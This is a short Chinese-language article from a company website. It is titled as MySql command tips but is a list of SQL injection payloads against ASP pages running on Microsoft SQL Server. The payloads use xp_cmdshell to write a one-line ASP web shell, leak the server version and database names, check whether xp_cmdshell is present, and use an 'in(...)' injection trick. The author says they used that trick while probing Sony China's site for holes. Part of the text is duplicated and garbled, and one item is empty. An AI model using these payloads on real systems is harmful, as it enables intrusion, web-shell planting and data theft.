MySql常用命令分享
来源:广州中睿信息技术有限公司官网
发布时间:2012/10/21 23:25:16 编辑:itlead 阅读 1869
1、http://192.168.1.5/display.asp?keyno=1881execmaster.dbo.xp_cmdshell'echo^<scriptlanguage=VB



  1、http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<scr

  ipt language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

  用转义字符来写ASP文件的方法。

 

  2、http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)

  显示SQL系统版本:

  Microsoft VBScript 编译器错误 错误 '800a03f6'

  缺少 'End'

  

 

  3、我在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法   在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,   例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用

       “select *from mytable where id=1”的查询结果完全相同。

        所以访问页面的时候在URL后面加上“) and 1=1 and1 in(1)   后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出   现期待已久的页面了。   暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类   似   “select * from mytable where name in(‘firstsee’)”的查询语句造成的。

 

  4、http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*)   FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')   判断xp_cmdshell扩展存储过程是否存在。

 

  5、

          向启动组中写入命令行和执行程序

 

  6、http://192.168.1.5/display.asp?keyno=188%20and%200<>db_name()   查看当前的数据库名称Microsoft VBScript 编译器错误 错误 '800a03f6'   缺少 'End'   

 

  7、列出当前所有的数据库名称:select * from master.dbo.sysdatabases

  

 

本站技术原创栏目文章均为中睿原创或编译,转载请注明:文章来自中睿,本站保留追究责任的权利。

联系我们CONTACT 扫一扫
愿景:成为最专业的软件研发服务领航者
中睿信息技术有限公司 广州•深圳 Tel:020-38931912 务实 Pragmatic
广州:广州市天河区翰景路1号金星大厦18层中睿信息 Fax:020-38931912 专业 Professional
深圳:深圳市福田区车公庙有色金属大厦509~510 Tel:0755-25855012 诚信 Integrity
所有权声明:PMI, PMP, Project Management Professional, PMI-ACP, PMI-PBA和PMBOK是项目管理协会(Project Management Institute, Inc.)的注册标志。
版权所有:广州中睿信息技术有限公司 粤ICP备13082838号-2